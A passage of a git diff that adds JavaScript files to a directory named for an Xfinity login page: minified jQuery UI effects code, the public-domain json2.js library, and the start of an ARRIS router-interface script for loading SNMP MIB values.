c;if(a=/rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(c))return[parseInt(a[1],10),parseInt(a[2],10),parseInt(a[3],10)];if(a=/rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(c))return[parseFloat(a[1])*2.55,parseFloat(a[2])*2.55,parseFloat(a[3])*2.55];if(a=/#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(c))return[parseInt(a[1], +16),parseInt(a[2],16),parseInt(a[3],16)];if(a=/#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(c))return[parseInt(a[1]+a[1],16),parseInt(a[2]+a[2],16),parseInt(a[3]+a[3],16)];if(/rgba\(0, 0, 0, 0\)/.exec(c))return m.transparent;return m[f.trim(c).toLowerCase()]}function r(c,a){var b;do{b=f.curCSS(c,a);if(b!=""&&b!="transparent"||f.nodeName(c,"body"))break;a="backgroundColor"}while(c=c.parentNode);return l(b)}function n(){var c=document.defaultView?document.defaultView.getComputedStyle(this,null):this.currentStyle, +a={},b,d;if(c&&c.length&&c[0]&&c[c[0]])for(var e=c.length;e--;){b=c[e];if(typeof c[b]=="string"){d=b.replace(/\-(\w)/g,function(g,h){return h.toUpperCase()});a[d]=c[b]}}else for(b in c)if(typeof c[b]==="string")a[b]=c[b];return a}function o(c){var a,b;for(a in c){b=c[a];if(b==null||f.isFunction(b)||a in s||/scrollbar/.test(a)||!/color/i.test(a)&&isNaN(parseFloat(b)))delete c[a]}return c}function t(c,a){var b={_:0},d;for(d in a)if(c[d]!=a[d])b[d]=a[d];return b}function k(c,a,b,d){if(typeof c=="object"){d= +a;b=null;a=c;c=a.effect}if(f.isFunction(a)){d=a;b=null;a={}}if(typeof a=="number"||f.fx.speeds[a]){d=b;b=a;a={}}if(f.isFunction(b)){d=b;b=null}a=a||{};b=b||a.duration;b=f.fx.off?0:typeof b=="number"?b:f.fx.speeds[b]||f.fx.speeds._default;d=d||a.complete;return[c,a,b,d]}f.effects={};f.each(["backgroundColor","borderBottomColor","borderLeftColor","borderRightColor","borderTopColor","color","outlineColor"],function(c,a){f.fx.step[a]=function(b){if(!b.colorInit){b.start=r(b.elem,a);b.end=l(b.end);b.colorInit= +true}b.elem.style[a]="rgb("+Math.max(Math.min(parseInt(b.pos*(b.end[0]-b.start[0])+b.start[0],10),255),0)+","+Math.max(Math.min(parseInt(b.pos*(b.end[1]-b.start[1])+b.start[1],10),255),0)+","+Math.max(Math.min(parseInt(b.pos*(b.end[2]-b.start[2])+b.start[2],10),255),0)+")"}});var m={aqua:[0,255,255],azure:[240,255,255],beige:[245,245,220],black:[0,0,0],blue:[0,0,255],brown:[165,42,42],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgrey:[169,169,169],darkgreen:[0,100,0],darkkhaki:[189, +183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkviolet:[148,0,211],fuchsia:[255,0,255],gold:[255,215,0],green:[0,128,0],indigo:[75,0,130],khaki:[240,230,140],lightblue:[173,216,230],lightcyan:[224,255,255],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightyellow:[255,255,224],lime:[0,255,0],magenta:[255,0,255],maroon:[128,0,0],navy:[0,0,128],olive:[128,128,0],orange:[255, +165,0],pink:[255,192,203],purple:[128,0,128],violet:[128,0,128],red:[255,0,0],silver:[192,192,192],white:[255,255,255],yellow:[255,255,0],transparent:[255,255,255]},p=["add","remove","toggle"],s={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1};f.effects.animateClass=function(c,a,b,d){if(f.isFunction(b)){d=b;b=null}return this.each(function(){var e=f(this),g=e.attr("style")||" ",h=o(n.call(this)),q,u=e.attr("className");f.each(p,function(v, +i){c[i]&&e[i+"Class"](c[i])});q=o(n.call(this));e.attr("className",u);e.animate(t(h,q),a,b,function(){f.each(p,function(v,i){c[i]&&e[i+"Class"](c[i])});if(typeof e.attr("style")=="object"){e.attr("style").cssText="";e.attr("style").cssText=g}else e.attr("style",g);d&&d.apply(this,arguments)})})};f.fn.extend({_addClass:f.fn.addClass,addClass:function(c,a,b,d){return a?f.effects.animateClass.apply(this,[{add:c},a,b,d]):this._addClass(c)},_removeClass:f.fn.removeClass,removeClass:function(c,a,b,d){return a? +f.effects.animateClass.apply(this,[{remove:c},a,b,d]):this._removeClass(c)},_toggleClass:f.fn.toggleClass,toggleClass:function(c,a,b,d,e){return typeof a=="boolean"||a===j?b?f.effects.animateClass.apply(this,[a?{add:c}:{remove:c},b,d,e]):this._toggleClass(c,a):f.effects.animateClass.apply(this,[{toggle:c},a,b,d])},switchClass:function(c,a,b,d,e){return f.effects.animateClass.apply(this,[{add:a,remove:c},b,d,e])}});f.extend(f.effects,{version:"1.8.5",save:function(c,a){for(var b=0;b").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0});c.wrap(b);b=c.parent();if(c.css("position")=="static"){b.css({position:"relative"});c.css({position:"relative"})}else{f.extend(a,{position:c.css("position"),zIndex:c.css("z-index")});f.each(["top","left","bottom","right"],function(d,e){a[e]=c.css(e);if(isNaN(parseInt(a[e],10)))a[e]="auto"}); +c.css({position:"relative",top:0,left:0})}return b.css(a).show()},removeWrapper:function(c){if(c.parent().is(".ui-effects-wrapper"))return c.parent().replaceWith(c);return c},setTransition:function(c,a,b,d){d=d||{};f.each(a,function(e,g){unit=c.cssUnit(g);if(unit[0]>0)d[g]=unit[0]*b+unit[1]});return d}});f.fn.extend({effect:function(c){var a=k.apply(this,arguments);a={options:a[1],duration:a[2],callback:a[3]};var b=f.effects[c];return b&&!f.fx.off?b.call(this,a):this},_show:f.fn.show,show:function(c){if(!c|| +typeof c=="number"||f.fx.speeds[c]||!f.effects[c])return this._show.apply(this,arguments);else{var a=k.apply(this,arguments);a[1].mode="show";return this.effect.apply(this,a)}},_hide:f.fn.hide,hide:function(c){if(!c||typeof c=="number"||f.fx.speeds[c]||!f.effects[c])return this._hide.apply(this,arguments);else{var a=k.apply(this,arguments);a[1].mode="hide";return this.effect.apply(this,a)}},__toggle:f.fn.toggle,toggle:function(c){if(!c||typeof c=="number"||f.fx.speeds[c]||!f.effects[c]||typeof c== +"boolean"||f.isFunction(c))return this.__toggle.apply(this,arguments);else{var a=k.apply(this,arguments);a[1].mode="toggle";return this.effect.apply(this,a)}},cssUnit:function(c){var a=this.css(c),b=[];f.each(["em","px","%","pt"],function(d,e){if(a.indexOf(e)>0)b=[parseFloat(a),e]});return b}});f.easing.jswing=f.easing.swing;f.extend(f.easing,{def:"easeOutQuad",swing:function(c,a,b,d,e){return f.easing[f.easing.def](c,a,b,d,e)},easeInQuad:function(c,a,b,d,e){return d*(a/=e)*a+b},easeOutQuad:function(c, +a,b,d,e){return-d*(a/=e)*(a-2)+b},easeInOutQuad:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a+b;return-d/2*(--a*(a-2)-1)+b},easeInCubic:function(c,a,b,d,e){return d*(a/=e)*a*a+b},easeOutCubic:function(c,a,b,d,e){return d*((a=a/e-1)*a*a+1)+b},easeInOutCubic:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a*a+b;return d/2*((a-=2)*a*a+2)+b},easeInQuart:function(c,a,b,d,e){return d*(a/=e)*a*a*a+b},easeOutQuart:function(c,a,b,d,e){return-d*((a=a/e-1)*a*a*a-1)+b},easeInOutQuart:function(c,a,b,d,e){if((a/= +e/2)<1)return d/2*a*a*a*a+b;return-d/2*((a-=2)*a*a*a-2)+b},easeInQuint:function(c,a,b,d,e){return d*(a/=e)*a*a*a*a+b},easeOutQuint:function(c,a,b,d,e){return d*((a=a/e-1)*a*a*a*a+1)+b},easeInOutQuint:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a*a*a*a+b;return d/2*((a-=2)*a*a*a*a+2)+b},easeInSine:function(c,a,b,d,e){return-d*Math.cos(a/e*(Math.PI/2))+d+b},easeOutSine:function(c,a,b,d,e){return d*Math.sin(a/e*(Math.PI/2))+b},easeInOutSine:function(c,a,b,d,e){return-d/2*(Math.cos(Math.PI*a/e)-1)+ +b},easeInExpo:function(c,a,b,d,e){return a==0?b:d*Math.pow(2,10*(a/e-1))+b},easeOutExpo:function(c,a,b,d,e){return a==e?b+d:d*(-Math.pow(2,-10*a/e)+1)+b},easeInOutExpo:function(c,a,b,d,e){if(a==0)return b;if(a==e)return b+d;if((a/=e/2)<1)return d/2*Math.pow(2,10*(a-1))+b;return d/2*(-Math.pow(2,-10*--a)+2)+b},easeInCirc:function(c,a,b,d,e){return-d*(Math.sqrt(1-(a/=e)*a)-1)+b},easeOutCirc:function(c,a,b,d,e){return d*Math.sqrt(1-(a=a/e-1)*a)+b},easeInOutCirc:function(c,a,b,d,e){if((a/=e/2)<1)return-d/ +2*(Math.sqrt(1-a*a)-1)+b;return d/2*(Math.sqrt(1-(a-=2)*a)+1)+b},easeInElastic:function(c,a,b,d,e){c=1.70158;var g=0,h=d;if(a==0)return b;if((a/=e)==1)return b+d;g||(g=e*0.3);if(h").css({position:"absolute",visibility:"visible",left:-f*(h/d),top:-e*(i/c)}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:h/d,height:i/c,left:g.left+f*(h/d)+(a.options.mode=="show"?(f-Math.floor(d/2))*(h/d):0),top:g.top+e*(i/c)+(a.options.mode=="show"?(e-Math.floor(c/2))*(i/c):0),opacity:a.options.mode=="show"?0:1}).animate({left:g.left+f*(h/d)+(a.options.mode=="show"?0:(f-Math.floor(d/2))*(h/d)),top:g.top+ +e*(i/c)+(a.options.mode=="show"?0:(e-Math.floor(c/2))*(i/c)),opacity:a.options.mode=="show"?1:0},a.duration||500);setTimeout(function(){a.options.mode=="show"?b.css({visibility:"visible"}):b.css({visibility:"visible"}).hide();a.callback&&a.callback.apply(b[0]);b.dequeue();j("div.ui-effects-explode").remove()},a.duration||500)})}})(jQuery); +;/* + * jQuery UI Effects Fade 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Fade + * + * Depends: + * jquery.effects.core.js + */ +(function(b){b.effects.fade=function(a){return this.queue(function(){var c=b(this),d=b.effects.setMode(c,a.options.mode||"hide");c.animate({opacity:d},{queue:false,duration:a.duration,easing:a.options.easing,complete:function(){a.callback&&a.callback.apply(this,arguments);c.dequeue()}})})}})(jQuery); +;/* + * jQuery UI Effects Fold 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Fold + * + * Depends: + * jquery.effects.core.js + */ +(function(c){c.effects.fold=function(a){return this.queue(function(){var b=c(this),j=["position","top","left"],d=c.effects.setMode(b,a.options.mode||"hide"),g=a.options.size||15,h=!!a.options.horizFirst,k=a.duration?a.duration/2:c.fx.speeds._default/2;c.effects.save(b,j);b.show();var e=c.effects.createWrapper(b).css({overflow:"hidden"}),f=d=="show"!=h,l=f?["width","height"]:["height","width"];f=f?[e.width(),e.height()]:[e.height(),e.width()];var i=/([0-9]+)%/.exec(g);if(i)g=parseInt(i[1],10)/100* +f[d=="hide"?0:1];if(d=="show")e.css(h?{height:0,width:g}:{height:g,width:0});h={};i={};h[l[0]]=d=="show"?f[0]:g;i[l[1]]=d=="show"?f[1]:0;e.animate(h,k,a.options.easing).animate(i,k,a.options.easing,function(){d=="hide"&&b.hide();c.effects.restore(b,j);c.effects.removeWrapper(b);a.callback&&a.callback.apply(b[0],arguments);b.dequeue()})})}})(jQuery); +;/* + * jQuery UI Effects Highlight 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Highlight + * + * Depends: + * jquery.effects.core.js + */ +(function(b){b.effects.highlight=function(c){return this.queue(function(){var a=b(this),e=["backgroundImage","backgroundColor","opacity"],d=b.effects.setMode(a,c.options.mode||"show"),f={backgroundColor:a.css("backgroundColor")};if(d=="hide")f.opacity=0;b.effects.save(a,e);a.show().css({backgroundImage:"none",backgroundColor:c.options.color||"#ffff99"}).animate(f,{queue:false,duration:c.duration,easing:c.options.easing,complete:function(){d=="hide"&&a.hide();b.effects.restore(a,e);d=="show"&&!b.support.opacity&& +this.style.removeAttribute("filter");c.callback&&c.callback.apply(this,arguments);a.dequeue()}})})}})(jQuery); +;/* + * jQuery UI Effects Pulsate 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Pulsate + * + * Depends: + * jquery.effects.core.js + */ +(function(d){d.effects.pulsate=function(a){return this.queue(function(){var b=d(this),c=d.effects.setMode(b,a.options.mode||"show");times=(a.options.times||5)*2-1;duration=a.duration?a.duration/2:d.fx.speeds._default/2;isVisible=b.is(":visible");animateTo=0;if(!isVisible){b.css("opacity",0).show();animateTo=1}if(c=="hide"&&isVisible||c=="show"&&!isVisible)times--;for(c=0;c').appendTo(document.body).addClass(a.options.className).css({top:d.top,left:d.left,height:b.innerHeight(),width:b.innerWidth(),position:"absolute"}).animate(c,a.duration,a.options.easing,function(){f.remove();a.callback&&a.callback.apply(b[0],arguments); +b.dequeue()})})}})(jQuery); +; \ No newline at end of file diff --git a/Sites/Login-Xfinity/Xfinity_files/json2.js b/Sites/Login-Xfinity/Xfinity_files/json2.js new file mode 100644 index 0000000..8ccf997 --- /dev/null +++ b/Sites/Login-Xfinity/Xfinity_files/json2.js @@ -0,0 +1,482 @@ +/* + http://www.JSON.org/json2.js + 2010-08-25 + + Public Domain. + + NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK. + + See http://www.JSON.org/js.html + + + This code should be minified before deployment. + See http://javascript.crockford.com/jsmin.html + + USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO + NOT CONTROL. + + + This file creates a global JSON object containing two methods: stringify + and parse. + + JSON.stringify(value, replacer, space) + value any JavaScript value, usually an object or array. + + replacer an optional parameter that determines how object + values are stringified for objects. It can be a + function or an array of strings. + + space an optional parameter that specifies the indentation + of nested structures. If it is omitted, the text will + be packed without extra whitespace. If it is a number, + it will specify the number of spaces to indent at each + level. If it is a string (such as '\t' or ' '), + it contains the characters used to indent at each level. + + This method produces a JSON text from a JavaScript value. + + When an object value is found, if the object contains a toJSON + method, its toJSON method will be called and the result will be + stringified. A toJSON method does not serialize: it returns the + value represented by the name/value pair that should be serialized, + or undefined if nothing should be serialized. The toJSON method + will be passed the key associated with the value, and this will be + bound to the value + + For example, this would serialize Dates as ISO strings. + + Date.prototype.toJSON = function (key) { + function f(n) { + // Format integers to have at least two digits. + return n < 10 ? '0' + n : n; + } + + return this.getUTCFullYear() + '-' + + f(this.getUTCMonth() + 1) + '-' + + f(this.getUTCDate()) + 'T' + + f(this.getUTCHours()) + ':' + + f(this.getUTCMinutes()) + ':' + + f(this.getUTCSeconds()) + 'Z'; + }; + + You can provide an optional replacer method. It will be passed the + key and value of each member, with this bound to the containing + object. The value that is returned from your method will be + serialized. If your method returns undefined, then the member will + be excluded from the serialization. + + If the replacer parameter is an array of strings, then it will be + used to select the members to be serialized. It filters the results + such that only members with keys listed in the replacer array are + stringified. + + Values that do not have JSON representations, such as undefined or + functions, will not be serialized. Such values in objects will be + dropped; in arrays they will be replaced with null. You can use + a replacer function to replace those with JSON values. + JSON.stringify(undefined) returns undefined. + + The optional space parameter produces a stringification of the + value that is filled with line breaks and indentation to make it + easier to read. + + If the space parameter is a non-empty string, then that string will + be used for indentation. If the space parameter is a number, then + the indentation will be that many spaces. + + Example: + + text = JSON.stringify(['e', {pluribus: 'unum'}]); + // text is '["e",{"pluribus":"unum"}]' + + + text = JSON.stringify(['e', {pluribus: 'unum'}], null, '\t'); + // text is '[\n\t"e",\n\t{\n\t\t"pluribus": "unum"\n\t}\n]' + + text = JSON.stringify([new Date()], function (key, value) { + return this[key] instanceof Date ? + 'Date(' + this[key] + ')' : value; + }); + // text is '["Date(---current time---)"]' + + + JSON.parse(text, reviver) + This method parses a JSON text to produce an object or array. + It can throw a SyntaxError exception. + + The optional reviver parameter is a function that can filter and + transform the results. It receives each of the keys and values, + and its return value is used instead of the original value. + If it returns what it received, then the structure is not modified. + If it returns undefined then the member is deleted. + + Example: + + // Parse the text. Values that look like ISO date strings will + // be converted to Date objects. + + myData = JSON.parse(text, function (key, value) { + var a; + if (typeof value === 'string') { + a = +/^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2}(?:\.\d*)?)Z$/.exec(value); + if (a) { + return new Date(Date.UTC(+a[1], +a[2] - 1, +a[3], +a[4], + +a[5], +a[6])); + } + } + return value; + }); + + myData = JSON.parse('["Date(09/09/2001)"]', function (key, value) { + var d; + if (typeof value === 'string' && + value.slice(0, 5) === 'Date(' && + value.slice(-1) === ')') { + d = new Date(value.slice(5, -1)); + if (d) { + return d; + } + } + return value; + }); + + + This is a reference implementation. You are free to copy, modify, or + redistribute. +*/ + +/*jslint evil: true, strict: false */ + +/*members "", "\b", "\t", "\n", "\f", "\r", "\"", JSON, "\\", apply, + call, charCodeAt, getUTCDate, getUTCFullYear, getUTCHours, + getUTCMinutes, getUTCMonth, getUTCSeconds, hasOwnProperty, join, + lastIndex, length, parse, prototype, push, replace, slice, stringify, + test, toJSON, toString, valueOf +*/ + + +// Create a JSON object only if one does not already exist. We create the +// methods in a closure to avoid creating global variables. + +if (!this.JSON) { + this.JSON = {}; +} + +(function () { + + function f(n) { + // Format integers to have at least two digits. + return n < 10 ? '0' + n : n; + } + + if (typeof Date.prototype.toJSON !== 'function') { + + Date.prototype.toJSON = function (key) { + + return isFinite(this.valueOf()) ? + this.getUTCFullYear() + '-' + + f(this.getUTCMonth() + 1) + '-' + + f(this.getUTCDate()) + 'T' + + f(this.getUTCHours()) + ':' + + f(this.getUTCMinutes()) + ':' + + f(this.getUTCSeconds()) + 'Z' : null; + }; + + String.prototype.toJSON = + Number.prototype.toJSON = + Boolean.prototype.toJSON = function (key) { + return this.valueOf(); + }; + } + + var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, + escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, + gap, + indent, + meta = { // table of character substitutions + '\b': '\\b', + '\t': '\\t', + '\n': '\\n', + '\f': '\\f', + '\r': '\\r', + '"' : '\\"', + '\\': '\\\\' + }, + rep; + + + function quote(string) { + +// If the string contains no control characters, no quote characters, and no +// backslash characters, then we can safely slap some quotes around it. +// Otherwise we must also replace the offending characters with safe escape +// sequences. + + escapable.lastIndex = 0; + return escapable.test(string) ? + '"' + string.replace(escapable, function (a) { + var c = meta[a]; + return typeof c === 'string' ? c : + '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); + }) + '"' : + '"' + string + '"'; + } + + + function str(key, holder) { + +// Produce a string from holder[key]. + + var i, // The loop counter. + k, // The member key. + v, // The member value. + length, + mind = gap, + partial, + value = holder[key]; + +// If the value has a toJSON method, call it to obtain a replacement value. + + if (value && typeof value === 'object' && + typeof value.toJSON === 'function') { + value = value.toJSON(key); + } + +// If we were called with a replacer function, then call the replacer to +// obtain a replacement value. + + if (typeof rep === 'function') { + value = rep.call(holder, key, value); + } + +// What happens next depends on the value's type. + + switch (typeof value) { + case 'string': + return quote(value); + + case 'number': + +// JSON numbers must be finite. Encode non-finite numbers as null. + + return isFinite(value) ? String(value) : 'null'; + + case 'boolean': + case 'null': + +// If the value is a boolean or null, convert it to a string. Note: +// typeof null does not produce 'null'. The case is included here in +// the remote chance that this gets fixed someday. + + return String(value); + +// If the type is 'object', we might be dealing with an object or an array or +// null. + + case 'object': + +// Due to a specification blunder in ECMAScript, typeof null is 'object', +// so watch out for that case. + + if (!value) { + return 'null'; + } + +// Make an array to hold the partial results of stringifying this object value. + + gap += indent; + partial = []; + +// Is the value an array? + + if (Object.prototype.toString.apply(value) === '[object Array]') { + +// The value is an array. Stringify every element. Use null as a placeholder +// for non-JSON values. + + length = value.length; + for (i = 0; i < length; i += 1) { + partial[i] = str(i, value) || 'null'; + } + +// Join all of the elements together, separated with commas, and wrap them in +// brackets. + + v = partial.length === 0 ? '[]' : + gap ? '[\n' + gap + + partial.join(',\n' + gap) + '\n' + + mind + ']' : + '[' + partial.join(',') + ']'; + gap = mind; + return v; + } + +// If the replacer is an array, use it to select the members to be stringified. + + if (rep && typeof rep === 'object') { + length = rep.length; + for (i = 0; i < length; i += 1) { + k = rep[i]; + if (typeof k === 'string') { + v = str(k, value); + if (v) { + partial.push(quote(k) + (gap ? ': ' : ':') + v); + } + } + } + } else { + +// Otherwise, iterate through all of the keys in the object. + + for (k in value) { + if (Object.hasOwnProperty.call(value, k)) { + v = str(k, value); + if (v) { + partial.push(quote(k) + (gap ? ': ' : ':') + v); + } + } + } + } + +// Join all of the member texts together, separated with commas, +// and wrap them in braces. + + v = partial.length === 0 ? '{}' : + gap ? '{\n' + gap + partial.join(',\n' + gap) + '\n' + + mind + '}' : '{' + partial.join(',') + '}'; + gap = mind; + return v; + } + } + +// If the JSON object does not yet have a stringify method, give it one. + + if (typeof JSON.stringify !== 'function') { + JSON.stringify = function (value, replacer, space) { + +// The stringify method takes a value and an optional replacer, and an optional +// space parameter, and returns a JSON text. The replacer can be a function +// that can replace values, or an array of strings that will select the keys. +// A default replacer method can be provided. Use of the space parameter can +// produce text that is more easily readable. + + var i; + gap = ''; + indent = ''; + +// If the space parameter is a number, make an indent string containing that +// many spaces. + + if (typeof space === 'number') { + for (i = 0; i < space; i += 1) { + indent += ' '; + } + +// If the space parameter is a string, it will be used as the indent string. + + } else if (typeof space === 'string') { + indent = space; + } + +// If there is a replacer, it must be a function or an array. +// Otherwise, throw an error. + + rep = replacer; + if (replacer && typeof replacer !== 'function' && + (typeof replacer !== 'object' || + typeof replacer.length !== 'number')) { + throw new Error('JSON.stringify'); + } + +// Make a fake root object containing our value under the key of ''. +// Return the result of stringifying the value. + + return str('', {'': value}); + }; + } + + +// If the JSON object does not yet have a parse method, give it one. + + if (typeof JSON.parse !== 'function') { + JSON.parse = function (text, reviver) { + +// The parse method takes a text and an optional reviver function, and returns +// a JavaScript value if the text is a valid JSON text. + + var j; + + function walk(holder, key) { + +// The walk method is used to recursively walk the resulting structure so +// that modifications can be made. + + var k, v, value = holder[key]; + if (value && typeof value === 'object') { + for (k in value) { + if (Object.hasOwnProperty.call(value, k)) { + v = walk(value, k); + if (v !== undefined) { + value[k] = v; + } else { + delete value[k]; + } + } + } + } + return reviver.call(holder, key, value); + } + + +// Parsing happens in four stages. In the first stage, we replace certain +// Unicode characters with escape sequences. JavaScript handles many characters +// incorrectly, either silently deleting them, or treating them as line endings. + + text = String(text); + cx.lastIndex = 0; + if (cx.test(text)) { + text = text.replace(cx, function (a) { + return '\\u' + + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); + }); + } + +// In the second stage, we run the text against regular expressions that look +// for non-JSON patterns. We are especially concerned with '()' and 'new' +// because they can cause invocation, and '=' because it can cause mutation. +// But just to be safe, we want to reject all unexpected forms. + +// We split the second stage into 4 regexp operations in order to work around +// crippling inefficiencies in IE's and Safari's regexp engines. First we +// replace the JSON backslash pairs with '@' (a non-JSON character). Second, we +// replace all simple value tokens with ']' characters. Third, we delete all +// open brackets that follow a colon or comma or that begin the text. Finally, +// we look to see that the remaining characters are only whitespace or ']' or +// ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval. + + if (/^[\],:{}\s]*$/ +.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@') +.replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']') +.replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) { + +// In the third stage we use the eval function to compile the text into a +// JavaScript structure. The '{' operator is subject to a syntactic ambiguity +// in JavaScript: it can begin a block or an object literal. We wrap the text +// in parens to eliminate the ambiguity. + + j = eval('(' + text + ')'); + +// In the optional fourth stage, we recursively walk the new structure, passing +// each name/value pair to a reviver function for possible transformation. + + return typeof reviver === 'function' ? + walk({'': j}, '') : j; + } + +// If the text is not JSON parseable, then a SyntaxError is thrown. + + throw new SyntaxError('JSON.parse'); + }; + } +}()); diff --git a/Sites/Login-Xfinity/Xfinity_files/mib.js b/Sites/Login-Xfinity/Xfinity_files/mib.js new file mode 100644 index 0000000..8d0e2e2 --- /dev/null +++ b/Sites/Login-Xfinity/Xfinity_files/mib.js @@ -0,0 +1,3917 @@ +//(c) Copyright 2011-2012, ARRIS Group, Inc., All rights reserved. +//justin add +document.write("<\/scr" + "ipt>"); +//justin add end + +var walk = { }; +var loads = []; +var stores = []; +var table = { }; +var container = { }; +var oidsRead = [ ]; +var mib = { }; +var bulkLoading = false; +var bulkList = [ ]; + + +function appendMulti_OID(obj_in) +{ + var oid_array=""; + var i=0; + for(;i=0) + { + var current_pos=MIB_Arrays[i]; + MIB_Arrays_sorted.push(current_pos); + for(var j=i+1;j=0)&&(current_pos["mibobj"].name==MIB_Arrays[j]["mibobj"].name)) + { + if(MIB_Arrays[j].index>=current_pos.index) + { + var newobj=MIB_Arrays[j]; + MIB_Arrays_sorted.push(newobj); + if (window.console) console.log("push:"+MIB_Arrays[j]["mibobj"].name+"["+MIB_Arrays[j].index+"] under: "+MIB_Arrays[i]["mibobj"].name+"["+MIB_Arrays[i].index+"]"); + } + else /* simple sort */ + { + var temp_obj=MIB_Arrays_sorted.pop(); + MIB_Arrays_sorted.push(newobj); + MIB_Arrays_sorted.push(temp_obj); + } + + if(MIB_Arrays_sorted.length==MIB_len) + { + MIB_dumpArray(MIB_Arrays_sorted); + return MIB_Arrays_sorted; + } + else + { + if(MIB_Arrays_sorted.length==0) + { + MIB_Arrays_sorted=MIB_objs; + return MIB_Arrays_sorted; + } + } + } + else + { + ;//MIB_dumpArray(MIB_Arrays_sorted); For Console debug + } + }catch(e) + { + if (window.console) console.log("Error:"+e); + if(MIB_Arrays_sorted.length==0) + { + MIB_Arrays_sorted=MIB_objs; + return MIB_Arrays_sorted; + } + else + return MIB_objs; + } + } + } + } + + return MIB_objs; +} + +function MIB_JSON2Str(MIB_objs) +{ + var MIB_size=MIB_objSize(MIB_objs); + var MIB_Str=""; + var MIB_count=0; + for(var index_key in MIB_objs) + { + if(!isArray(MIB_objs[index_key])) + MIB_Str+='"'+index_key+'":"'+MIB_objs[index_key]+'"'; + else + { + var MIB_subArray=MIB_objs[index_key]; + var tempStr=""; + var i=0; + for(i=0;i 47 && hh<58) || (hh > 64 && hh<91) || (hh > 96 && hh<123)) + { + } + else { + return false; + } + } + return true; +} +function MIB_BatchLoad(MIB_objs,force_multi) +{ + var MIB_query=appendMulti_OID(MIB_objs); + var MIB_Result;//=new Array();;//=[];// + var MIB_Str="{"; + var MIB_JSON=snmpMultiGet(MIB_query); + var MIB_len=MIB_objs.length; + var i=0; + if (force_multi==undefined) + force_multi = false; + for (var index_key in MIB_JSON) + { + //alert("index_key:"+index_key); + var DataRow =""; + if(index_key==(MIB_objs[i]["mibobj"].oid+"."+MIB_objs[i]["index"])) + { + DataRow='"'+MIB_objs[i]["mibobj"].name+'":['; + val0=MIB_JSON[index_key]; + if (MIB_objs[i]["mibobj"].type==4) + { + //val2=convertHexStringToASCIIString(val0); + //if ( MIB_objs[i]["mibobj"].compo==1 ) + { + val2=val0; + } + DATA=val2.escapeChars(); + } + else + { + DATA=val0; + } + //if(index_key=="1.3.6.1.4.1.4115.1.3.3.1.1.2.1.1.0") + // alert("index_key:"+index_key+" DATA:"+DATA); + + //luis add + if(DATA.toUpperCase()=="NO SUCH OBJECT") + DATA=""; + //luis add end + + if((i>=1)&&(MIB_objs[i]["mibobj"].name==MIB_objs[i-1]["mibobj"].name)) + { + MIB_Str=MIB_Str.substring(0,MIB_Str.lastIndexOf("]")); + MIB_Str+=',"'+ DATA.toString() +'"]'; //More + MIB_Str+=((i>\n{"+MIB_objs[i]["mibobj"].name+":"+MIB_JSON[index_key].toString()+"}"); + return undefined; + } + } + MIB_Str+="}"; + MIB_Result=eval('('+MIB_Str+')'); + //Reduce one element Array + if(!force_multi) + { + MIB_Result=MIB_reduceArray(MIB_Result); + } +// alert("(mib.js)MIB_BatchLoad str=["+MIB_Str+"]."); + return MIB_Result; +} + +function MIB_objSize(MIB_objs) +{ + var count=0; + for(var index_key in MIB_objs) + { + count++; + } + return count; +} + +function isArray(what) { + return Object.prototype.toString.call(what) === '[object Array]'; +} + +function MIB_objAppend(MIB_objs,MIB_objs_2,force_multi) +{ + if(force_multi==undefined) + force_multi=false; + var MIB_Result; + var MIB_size=MIB_objSize(MIB_objs); + var MIB_size_2=MIB_objSize(MIB_objs_2); + var MIB_Str=MIB_JSON2Str(MIB_objs); + + if(MIB_size_2>0) + MIB_Str+=","; + 